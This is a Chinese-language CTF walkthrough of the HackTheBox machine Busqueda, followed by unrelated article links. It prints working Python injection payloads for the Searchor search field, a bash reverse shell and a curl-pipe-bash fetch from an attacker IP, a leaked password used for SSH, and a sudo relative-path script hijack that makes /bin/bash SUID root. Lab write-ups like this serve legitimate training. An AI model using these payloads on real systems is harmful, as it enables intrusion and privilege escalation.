准备:

攻击机:虚拟机kali和win10(常规操作就直接用本机win10来操作了)。

靶机:Inject,htb网站:https://www.hackthebox.com/,靶机地址:https://app.hackthebox.com/machines/Busqueda。

知识点:命令执行、敏感信息发现。

备注:这个说难也难说简单也是很简单,如果要通过命令执行来进行shell反弹可能会有点难度,但是如果通过发现的密码直接去登录就是比较简单的。

一:信息收集

1.nmap扫描

使用nmap扫描下几个常见的端口和对应的服务信息,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.dns解析

访问80端口的web服务时直接跳转到了:http://searcher.htb/,因此需要进行dns解析,win:打开C:\Windows\System32\drivers\etc\hosts文件,kali:打开/etc/hosts文件,添加:10.10.11.208 searcher.htb。

二:信息利用

1.bp抓包

随便进行一个搜索并抓取数据包,然后修改参数1为1'时,返回的信息发生变化,那这里有可能存在注入,但是经过后续测试发现不是sql注入。

2.命令执行

后面在首页发现一个执行github的连接,https://github.com/ArjunSharda/Searchor,在该链接中找到了思路。

该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search("Hello, World!")。整理下思路并在python中进行测试,发现当传递的参数为:1'+print('1')+'时会将print中的字符串进行输出,说明进行了命令执行。

#我们先是传入了一个值给参数query
query = '1'
#然后将我们的参数带入到下面并进行返回
Engine.Google.search(query)
#所以在我们传输1'的时候会进行报错,传入1''的时候又会恢复正常

然后依据格式修改语句在本地进行命令执行,将语句修改为:1'+__import__("os").system("calc.exe")+',成功打开计算器。

然后在抓取的数据包中进行测试,将输入的数据修改为:1'+print('234')+',但是并未执行print语句。后面对+进行了编码后:1'%2bprint('234')%2b',print命令可以正常执行。

3.shell反弹

确定了命令执行的语句格式:1'+__import__("os").system("calc.exe")+',那我们就进行shell反弹,语句:1'%2b__import__("os").system("bash -i >&/dev/tcp/10.10.14.50/6688 0>&1")%2b',但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1'%2bprint(__import__('os').system("id"))%2b',不过这里发现了用户名:svc。

无法反弹shell,那就先查看下是否存在别的可以利用的信息,传递参数:1'%2bprint(__import__('os').system("ls -al"))%2b',发现app.py文件,读取该文件信息:1'%2bprint(__import__('os').system("cat app.py"))%2b',获得app.py内容,但是并没有获取到什么有用的信息。

app.py内容
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess app = Flask(__name__) @app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='') @app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect') if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!") except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!") if __name__ == '__main__':
app.run(debug=False)

继续读取.git目录下的内容,在config文件中发现:http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git,发现cody:jh1usoih2bkjaspwe92像是一组账户名,gitea.searcher.htb应该是一个子域名,但是/etc/passwd文件中显示不存在cody账户,存在svn账户,因此使用svc/jh1usoih2bkjaspwe92进行ssh连接,命令:ssh svc@10.10.11.208,成功获得shell权限。

/etc/passwd
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false

后面又想到上面既然有命令执行的漏洞了,没道理反弹不了shell啊,就在网上查找资料发现了subprocess函数,我们可以利用如下格式:eval(complie(“要执行的代码”),“<String>”,“exec”)进行shell反弹,exp:1'%2beval(compile('for+x+in+range(1)%3a\n+import+os\n+os.system("curl http://10.10.14.50:8000/bash.sh | bash ")','a','single'))%2b',成功获得shell权限。

三:提权

查看下当前账户是否存在可以使用的特权命令,sudo -l,发现存在(root) /usr/bin/python3 /opt/scripts/system-checkup.py *。

查看system-checkup.py文件,显示我们缺少相关的查看权限,那就执行下命令,看有什么提示。

在执行第三个命令:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup,的时候告诉我们存在一些错误(因为开始我忘记了切换目录)而并不是权限问题导致无法执行。

报错之后就切换到/opt/scripts目录,发现full-checkup.sh脚本,重新执行上面的命令,发现正常执行,那这里就想到他是调用了full-checkup.sh脚本。

在执行sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup时他调用的是执行目录下的full-checkup.sh,因此我们就可以在/tmp目录下创建一个full-checkup.sh文件来写入提权命令:chmod +s /bin/bash。这里使用的是wget上传到靶机,然后赋予执行权限(注意下该文件会被删除,如果被删除就重新上传),然后执行:sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup成功获得root权限。

获得root权限后在/root目录和/home/svc目录下分别读取下root.txt、user.txt文件,成功获得两个flag值。

HTB靶场之Busqueda的更多相关文章

  1. 【HTB靶场系列】靶机Carrier的渗透测试

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

  2. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  3. [红日安全]Web安全Day2 - XSS跨站实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  4. [红日安全]Web安全Day3 - CSRF实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  5. [红日安全]Web安全Day4 - SSRF实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  6. [红日安全]Web安全Day5 - 任意文件上传实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  7. [红日安全]Web安全Day8 - XXE实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  8. [红日安全]Web安全Day9 - 文件下载漏洞实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  9. [红日安全]Web安全Day12 – 会话安全实战攻防

    本文由红日安全成员: ruanruan 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了 ...

  10. 【HTB系列】靶机Access的渗透测试详解

    出品|MS08067实验室(www.ms08067.com) 本文作者:大方子(Ms08067实验室核心成员) Hack The Box是一个CTF挑战靶机平台,在线渗透测试平台.它能帮助你提升渗透测 ...

随机推荐

  1. JsonResult向前端返回值,报错500

    1,问题原因 因为返回信息为json对象,我在controller方法所在的入口类上,添加的注解是:@Controller 而@Controller是不适合返回json内容的 2,解决方法 方法一:不 ...

  2. MySQL学习(八)BLOB和TEXT区别

    :都市为存储很大数据而设计的字符串数据类型,分别采用二进制和字符方式存储.当blob和text值太大时,innodb会使用专门的"外部"存储区域来进行存储,此时每个值在行内需要1~ ...

  3. D3和X6

    D3 版本 d3已经更新到v7版本,中文文档只更新到v4版本,存在部分api不适用和过时问题 使用d3-darge插件布局,插件适配d3版本为v5,近年未更新 API 使用darge中setNode和 ...

  4. Why WebRTC|“浅入深出”的工作原理详解

    前言 近几年实时音视频通信应用呈现出了大爆发的趋势.在这些实时通信技术的背后,有一项不得不提的技术--WebRTC. 今年 1 月,WebRTC 被 W3C 和 IETF 发布为正式标准.据调研机构 ...

  5. FastDFS 使用流程

    一.什么是FastDFS? FastDFS 是用 C 语言编写的一款开源的分布式文件系统,对文件进行管理,主要功能包括:文件存储.文件同步.文件访问(文件上传.文件下载)等,解决了大容量存储和负载均衡 ...

  6. 解决 ssh 找不到对应主机密钥类型

    解决办法 如果最近升级到了 openssh 8.8 版,你会发现连接某些之前连接得好好的服务器突然无法连接: Unable to negotiate with x.x.x.x port 2222: n ...

  7. crontab使用说明【一文搞懂Linux定时任务Crontab】

    1.简介 cron是一个在后台运行调度的守护进程,而crontab是一个设置cron的工具.cron调度的是/etc/crontab文件. 2.centos安装crontab yum install ...

  8. ML - Regression

    Regression Machine Learning 机器学习的意义就在于让机器具备找一个函数(function)的能力 Different types of Functions Regressio ...

  9. 【python爬虫】爬取美女图片

    一,导入包文件 os:用于文件操作.这里是为了创建保存图片的目录 re:正则表达式模块.代码中包含了数据处理,因此需要导入该模块 request:请求模块.通过该模块向对方服务器发送请求获取数据包 l ...

  10. Java学习笔记07

    1. API ​ API(Application Programming Interface):应用程序接口. Java中的API ​ 指的是JDK中提供的各种功能的Java类,这些类将底层的实现封装 ...